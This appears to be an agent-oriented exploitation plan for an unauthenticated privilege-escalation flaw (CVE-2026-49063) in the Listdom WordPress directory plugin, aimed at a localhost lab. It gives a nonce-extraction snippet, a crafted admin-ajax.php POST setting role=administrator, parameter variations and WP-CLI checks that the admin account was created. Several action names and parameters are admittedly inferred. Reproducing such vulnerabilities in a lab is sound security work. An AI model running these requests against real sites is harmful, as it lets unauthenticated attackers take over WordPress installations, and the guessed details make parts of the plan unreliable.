Listdom: AI-powered Business Directory with Classifieds Ads Listings <= 5.5.0 - Unauthenticated Privilege Escalation

This research plan focuses on CVE-2026-49063, an unauthenticated privilege escalation vulnerability in the Listdom plugin.

1. Vulnerability Summary

The Listdom plugin (<= 5.5.0) is vulnerable to Unauthenticated Privilege Escalation. This occurs because the plugin's registration or profile-handling AJAX actions (likely managed by LSD_Ajax and LSD_Author) fail to restrict the role parameter when creating or updating a user. An unauthenticated attacker can send a crafted request to the WordPress AJAX endpoint to create a new user with the administrator role.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: lsd_register_user (inferred) or lsd_submit_listing (inferred).
• Vulnerable Parameter: role (or a nested parameter like user[role]).
• Authentication: None required (uses wp_ajax_nopriv_* hooks).
• Preconditions: User registration must be enabled in Listdom settings, or the "Add Listing" feature must be accessible to guests (common in directory plugins).

3. Code Flow

1. The Listdom class constructor (LSD.php) initializes LSD_Ajax (line 217) and LSD_Author (line 144).
2. LSD_Ajax registers a "nopriv" (unauthenticated) AJAX handler for registration: add_action('wp_ajax_nopriv_lsd_register_user', ...).
3. The handler receives input from $_POST.
4. The handler calls wp_insert_user($user_data) or wp_create_user().
5. If $user_data is populated directly from $_POST without filtering the role key, WordPress assigns the specified role (e.g., administrator) to the new user.

4. Nonce Acquisition Strategy

Listdom uses wp_localize_script to pass security nonces to the frontend. Based on the plugin's naming convention (LSD_), the JS object is likely lsd_obj.

Execution Steps:

1. Identify Shortcode: Listdom usually requires a registration or "Add Listing" shortcode to load its frontend assets. The most common is [listdom_add_listing].
2. Create Setup Page:

   wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[listdom_add_listing]'
   

3. Navigate and Extract:
   Use browser_navigate to the new page.
   Use browser_eval to extract the nonce:

   // Inferred structure based on Listdom asset management
   window.lsd_obj?.nonce || window.lsd_vars?.nonce
   

4. Verification: If no nonce is found, the endpoint may not be protected by a nonce, or the action might use a different key. Check the page source for admin-ajax.php references and surrounding JSON.

5. Exploitation Strategy

The goal is to register a new user and assign them the administrator role.

HTTP Request (via http_request tool):

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=lsd_register_user&
  user_login=attacker_admin&
  user_email=attacker@example.com&
  password=P@ssword123!&
  role=administrator&
  nonce=[EXTRACTED_NONCE]
  

Note: If the plugin expects a nested array, the body might look like user[user_login]=...&user[role]=administrator.

6. Test Data Setup

1. Plugin Activation: Ensure listdom is active.
2. Registration Page: Create a page with the [listdom_add_listing] or [listdom_dashboard] shortcode to trigger the necessary scripts and nonces.
3. Settings (Optional): If the exploit fails, use wp option get lsd_settings to check if guest submissions/registrations are disabled and enable them if necessary to simulate a standard vulnerable configuration.

7. Expected Results

• HTTP Response: A success JSON (e.g., {"success":true,...}) or a redirect to a dashboard.
• Database State: A new entry in the wp_users table with the login attacker_admin.
• Privilege State: The user attacker_admin should have the administrator role in the wp_usermeta table (under wp_capabilities).

8. Verification Steps

After the HTTP request, verify the success via WP-CLI:

# Check if the user was created
wp user list --field=user_login | grep "attacker_admin"

# Check the user's role
wp user get attacker_admin --field=roles

The output should be administrator.

9. Alternative Approaches

If lsd_register_user is not the correct action name:

1. Search Source: Use grep -r "wp_ajax_nopriv" . in the plugin directory to find all unauthenticated AJAX entry points.
2. Profile Update: If registration is restricted, look for lsd_update_profile (inferred). If an existing subscriber can update their own profile and include a role parameter, the impact is the same.
3. Parameter Variation: Try role=administrator, user_role=administrator, or lsd[role]=administrator.